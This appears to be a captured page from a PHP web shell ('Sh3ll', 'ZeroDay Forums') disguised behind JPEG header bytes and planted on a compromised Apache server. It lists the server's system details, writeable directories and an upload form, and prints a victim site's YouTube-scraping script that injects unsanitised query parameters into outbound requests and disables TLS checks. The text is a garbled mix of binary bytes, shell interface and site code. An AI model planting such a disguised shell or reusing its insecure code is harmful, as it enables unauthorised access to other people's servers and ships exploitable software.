ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/img.123vid.top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/img.123vid.top/youtube_duration.php
<?php
$http_origin = $_SERVER['HTTP_ORIGIN'];
if ($http_origin == "https://123vid.top" || $http_origin == "https://www.vidoe.top")
{
    header("Access-Control-Allow-Origin: $http_origin");
}
function weird_answer_to_weird_question($string)
{
    return preg_replace_callback('#\\\\x([[:xdigit:]]{2})#ism', function($matches)
    {
        return chr(hexdec($matches[1]));
    },
        $string);
}
function custom_json_decode($json_text) {

    $decoded_array = json_decode($json_text, TRUE);
    switch (json_last_error()) {
        case JSON_ERROR_NONE:
            return array(
                "status" => 0,
                "value" => $decoded_array
            );


        case JSON_ERROR_DEPTH:
            return array(
                "status" => 1,
                "value" => 'Maximum stack depth exceeded'
            );

        case JSON_ERROR_STATE_MISMATCH:
            return array(
                "status" => 1,
                "value" => 'Underflow or the modes mismatch'
            );

        case JSON_ERROR_CTRL_CHAR:
            return array(
                "status" => 1,
                "value" => 'Unexpected control character found'
            );

        case JSON_ERROR_SYNTAX:
            return array(
                "status" => 1,
                "value" => 'Syntax error, malformed JSON'
            );

        case JSON_ERROR_UTF8:
            return array(
                "status" => 1,
                "value" => 'Malformed UTF-8 characters, possibly incorrectly encoded'
            );

        default:
            return array(
                "status" => 1,
                "value" => 'Unknown error'
            );
    }
}

function curl_func($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3B48b Safari/419.3');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_REFERER, 'https://m.youtube.com');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    //curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}

$id = $_GET['id'];
$noembed = json_decode(curl_func('https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v='.$id.'&format=json'));
$keyword = $noembed->title;
$vq = str_replace(array(' ','%20','<','>'),array('+','+','',''),$keyword);

include 'simple_html_dom.php';

$url_get = 'https://m.youtube.com/results?search_query='.$vq.'&gl='.$_GET['country'];
$content2 = curl_func($url_get);

$html = str_get_html($content2);

$arr = explode('var ytInitialData = \'',$content2);
$arr2 = explode('\';</script>',$arr[1]);
$str= weird_answer_to_weird_question($arr2[0]);
$str = html_entity_decode(stripslashes(str_ireplace('\\"','',$str)));

$data = custom_json_decode($str,true);



if(!empty($data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['lengthText']['runs']['0']['text'])){
    echo $data['value']['contents']['sectionListRenderer']['contents']['0']['itemSectionRenderer']['contents']['0']['compactVideoRenderer']['lengthText']['runs']['0']['text'];
}else{
    echo 'Live';
}

exit();

print_r($data);
exit();



$url_get = 'https://www.youtube.com/results?search_query='.$vq.'&app=desktop';
echo $url_get;
exit();
$content2 = curl_func($url_get);

$content2 = explode('window["ytInitialData"] =',$content2);
$content2 = explode('};',$content2[1]);
$content3 = $content2[0].'}';
$arr = json_decode($content3,true);
print_r($arr);
exit();
foreach($arr['contents']['twoColumnSearchResultsRenderer']['primaryContents']['sectionListRenderer']['contents'][0]['itemSectionRenderer']['contents'] as $key=>$val){
    if($val['videoRenderer']['title']['runs'][0]['text']!='' && $val['videoRenderer']['videoId']!='') {
        echo $val['videoRenderer']['lengthText']['simpleText'];
        exit();
    }
}
exit();
?>

ZeroDay Forums Mini